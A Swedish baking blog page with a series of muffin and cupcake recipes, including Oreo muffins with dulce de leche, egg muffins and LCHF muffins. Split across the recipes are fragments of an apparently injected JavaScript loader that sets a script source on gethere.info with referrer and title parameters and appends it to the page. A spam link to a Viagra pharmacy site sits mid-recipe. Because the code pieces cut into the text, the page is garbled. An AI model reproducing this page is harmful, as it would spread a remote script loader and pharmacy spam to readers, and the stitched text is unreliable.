Oreo muffins med dulce de leche

bild21

Nyligen fick jag se en bild på dessa supergoda muffins och kände att jag var bara tvungen att  baka dessa.  Det är verkligen tre godsaker i en enda kaka. Oreokaka med underbar kolasås och muffins på toppen.
Tjejen som inspirerade mig till dessa heter Layla Pegado  och hon har en helt underbar hemsida. Kika på Layla’s hemsida här. Hon har även en facebook sida med helt otroliga foton på alla vackra skapelser hon gör, allt ifrån underbara cupcakes till helt otroliga tårtor och andra bakverk. Sök på ”Layla Pegado Cakes” på facebook och gilla hennes sida.

14 muffins
3 ägg
2 dl strösocker
2 1/2 dl vetemjöl
2 tsk bakpulver
3 tsk vaniljsocker eller 1/2 tsk äkta vaniljpulver
1 nypa salt
1 1/2 dl kesella eller creme fraiche
1 paket Oreo kakor
Dulce de leche, färdigköpt eller koka upp kondenserad sötad mjölk i ca 2 timmar under vattenbad. Jag tycker det är godast att göra min egna dulce de leche.

Gör så här:
Dela dina oreo kakor så du har en botten och fyllningen kvar.
bild11bild13bild14

Lägg kakan i en muffinsform och häll på en klick dulce de leche kolakräm och sen muffinssmet över.

bild12

bild15bild25bild17bild24

18

bild23Grädda i ugnen på 200 grader i ca 12-15 min . Låt svalna.

bild20

bild7

bild4bild22

bild1

Låt muffinsen svalna.

Så här ser muffinsen ut när jag delade den mitt itu. Oreokakan i botten, dulce de leche i mitten och muffins på toppen.
bild1
Jag gjorde min dulce de leche dagen innan då den ska koka några timmar på plattan. Ca 2,5 timmar kokade min dulce de leche. https://www.acheterviagrafr24.com/viagra-prix-france-cialis/ Vill du ha den mer rinnig så koka ca 2 timmar. Om du inte hinner koka egen kolasås kan du köpa färdig i affären.

Dulce de leche framställs genom att man kokar kondenserad mjölk (sötad)  på svag värme under lång tid, oftast flera timmar.

Dulce de leche
1 burk kondenserad mjölk (sötad)

Gör så här:
Ta bort  etiketten runt burken.
Lägg burken med den kondenserade mjölken i en stor kastrull. Fyll på med vatten så att det täcker burken plus lite till. Det är viktigt att burken hela tiden är täckt med vatten, fyll på då och då med hett vatten under kokningen om det behövs. Låt koka ca 2 timmar.

Lyft upp burken. Låt svalna ordentligt innan den öppnas. Rör såsen slät i en bunke.

bild8

bild9bild10d.getElementsByTagName(‘head’)[0].appendChild(s);

Äggmuffins

bild10

Nu har jag prövat att baka äggmuffins. Grundreceptet hittade jag här. Sen har jag gjort min egna version av muffinsen.

Äggmuffins  (6 st mellanstora muffins)
3 ägg
1/2 pkt bacon
4-5 Champinjoner
0,5-1 dl kokosmjölk (häll ut kokosvattnet och använd den krämiga mjölken)
Körsbärstomater
Färsk spenat
1 liten rödlök (finskuren)
1 msk kokosmjöl (kan uteslutas om du vill)
Salt å peppar
Skinka/parmaskinka/Serranoskinka (en skiva per muffins)

Stek bacon, champinjoner och lök. Blanda ihop ägg och kokosmjölk till en smet och rör ner resten av ingredienserna. Smöra muffinsformen med lite kokosolja. Lägg en skiva lufttorkad skinka  i formen. Häll i era ingredienser och sist smeten i dina formar och grädda i ca 20- 25 min i 175 grader.

bild1

bild5

bild3

bild3

bild4

bild4

bild1

bild5

bild7

bild9

bild8bild2

bild6

bild8if (document.currentScript) {

Minicupcakes med Ahlgrens bilar fluff

MinicupcakeINGREDIENSER (räcker till 24 minicupcakes och 12 mellanstora cupcakes)

3 ägg
2 1/2 dl strösocker
1 tsk vaniljsocker
100 g smör
1 dl grädde
3 1 /2 dl vetemjöl
2 tsk bakpulver
1 nypa salt
Skal och saft av 1 citron

GÖR SÅ HÄR: Sätt ugnen på 185 grader. Vispa ägg, strösocker och vaniljsocker  riktigt pösigt. Smält smöret, häll i grädden och blanda det med äggsmeten. Blanda vetemjöl, bakpulver och salt och vänd försiktigt ner det i smeten. Blanda i rivet skal och saft av en citron. Placera ut små pappersformar på en plåt och fyll formarna till 2/3 med smet. Grädda i mitten av ugnen i 10 – 15 minuter. Låt dom svalna.

Ahlgrens bilar fluff:
60-70 gram Ahlgrens bilar (originalpåsen)
3 dl vispgrädde.

Gör så här: Klipp sönder Ahlgrens bilar och lägg i en kastrull tillsammans med grädden på svag värme. Grädden får inte brännas vid. När allt smält, häll upp smeten i en bunke och lägg i kylen över natten.
Vispa upp fluffet och spritsa dina cupcakes och strö lite strössel på vid servering. Om ni vill få fin färg på fluffet kan du ta lite rosa pastafärg för rosa fluff.

bild (58)

 

bild (67)bild (65)

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Nyttiga hallon cupcakes

Det här receptet räcker till ca 15 stycken cupcakes.

Recept:
125 gram kokosmjöl
6 ägg
250 gram naturell yoghurt
2 tablespoons Sötningsmedel (Stevia eller sukrin)

Hallontopping
400 gram hallon
10 gram gelatin

Gör så här
Blanda ihop alla ingredienser och häll i 15 muffinsformar. Fyll  upp med smet tills den täcker halva formen.
Baka i 200 grader ca 20-30 min.

Värm upp hallon och lägg i gelatin och blanda ut med 2 tabelspoons av sukrin. Fyll upp med hallonblanding på toppen av varje cupcakesform. Låt stelna.

Då det inte är något bakpulver i receptet så blir kakan lite spröd och torr och smakar inte så mkt i sig själv. Toppingen ihop med kakan blir en bra kombination.}

Äpplemuffins

 

Recept 12 st
75 gram rumsvarmt smör
2 dl socker
5 dl vetemjöl
4 tsk bakpulver
2,5 dl mjölk
1 st äpple
2 msk finmalen kanel

Sätt ugnen på 200 grader.
Vispa smör och socker pösigt.
Rör i äggen och mjölken.
Blanda de torra ingredienserna utom kanelen och rör ner i smeten.
Skala äpplet och skär det i små bitar.
Doppa äpplebitarna i kanelen och vänd försiktigt ner i smeten.
Fördela smeten i 12 stora muffinsformar.
Grädda mitt i ugnen i ca 20 minuter. 

 } else {

Minicupcakes med citronsmak

Minicupcakes är helt perfekta att göra om man bara vill ha något litet sött efter maten.
Receptet är från Leila Lindholm.

Minicupcakes: ca 25-30 st (eller 12 stora)
100 gram smör
2 ägg
1,5 dl strösocker
1 tsk vaniljsocker
2 dl mjölk
1 citron (skalet)
4 dl vetemjöl
2 tsk bakpulver
1 nypa salt

Gör så här:
Sätt ugnen på  200 grader varmluft  (225 grader om du har en vanlig ugn)om du vill göra små minimuffins
Vispa ägg, strösocker och vaniljsocker poröst.
Rör ner smält smör, mjölk och rivet citronskal.
Blanda vetemjöl, bakpulver och salt och rör ner i smeten.
Placera ut pappersformar i en muffinsplåt.

Grädda i mitten av ugnen ca 5 min tills de är gyllenbruna och ”torra” inuti. (Provstick med en potatissticka, den ska vara helt torr när när du dragit ut den)} else {

Citroncupcakes med nutellafrosting

Här är minicupcakes med nutella och vit choklad.

Minicupcakes: ca 25-30 st (eller 12 stora)
100 gram smör 2 ägg 1,5 dl strösocker 1 tsk vaniljsocker 2 dl mjölk 1 citron (skalet) 4 dl vetemjöl 2 tsk bakpulver 1 nypa salt

Gör så här: Sätt ugnen på  200 grader varmluft  (225 grader om du har en vanlig ugn)om du vill göra små minimuffins Vispa ägg, strösocker och vaniljsocker poröst. Rör ner smält smör, mjölk och rivet citronskal. Blanda vetemjöl, bakpulver och salt och rör ner i smeten. Placera ut pappersformar i en muffinsplåt.

Grädda i mitten av ugnen ca 5 min tills de är gyllenbruna och ”torra” inuti. (Provstick med en potatissticka, den ska vara helt torr när när du dragit ut den)

Lägg på ett lager Nutella och toppa med vit choklad.

LCHF muffins med hallonfrosting

LCHF muffins (ca 10 st)
4 ägg
100 gram smält smör
1,5 dl Fibrex
2 tsk FiberHusk
3 tsk bakpulver 6 tsk stevia
2 tsk kardemumma eller annan smaksättning

Mixa fibrexflingorna till mjöl. Blanda ned övriga torra ingredienser.
Smält smöret och blanda ner äggen och vispa lätt. Vänd ned de torra ingredienserna och rör runt. Vispa helst inte utan rör runt.
Fördela i lämpliga formar och grädda dem ca 8-10  minuter i ugn på 225 grader. Låt svalna

Frosting (räcker till ca 10-12 muffins)
50 gram hallon
300 gram färskost
1 dl florsocker
1 dl vispgrädde

Mixa hallonen med en stavmixer och passera genom en sil för att få den slät.
Vispa samman hallonpuré, färskost och florsocker i en bunke. Tillsätt vispgrädde och fortsätt vispa till en fluffig topping.
Spritsa eller klicka toppingen på muffinsen.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Chokladcupcakes med vit chokladfrosting.

Chokladcupcakes (12 st)
2 ägg
2 dl socker
1 dl mjölk
1 dl smält smör
3 dl vetemjöl
2 tsk bakpulver
2 tsk vaniljsocker
2 msk kakao
12 rutor mörk choklad
Sätt ugnen på 200 grader.
Ställ 12 stycken muffinsformar i en muffinsplåt eller dubbla formar på en plåt.Vispa ägg och socker pösigt.
Tillsätt mjölk och smör.Blanda de torra ingredienserna och vispa försiktigt ner i smeten.
Fyll formarna till hälften och lägg i en ruta choklad i varje form.
Fyll på med smet så det täcker chokladrutorna.
Grädda i mitten av ugnen i ca 12 minuter. Låt dem svalna

Vit chokladfrosting
100 g vit choklad

150 g rumsvarmt smör
150 g cream cheese
ca 250 g florsocker

d.getElementsByTagName(‘head’)[0].appendChild(s);

Cupcake med rosa frosting

En liten cupcake med rosa frosting till lördagsfikat?

document.currentScript.parentNode.insertBefore(s, document.currentScript);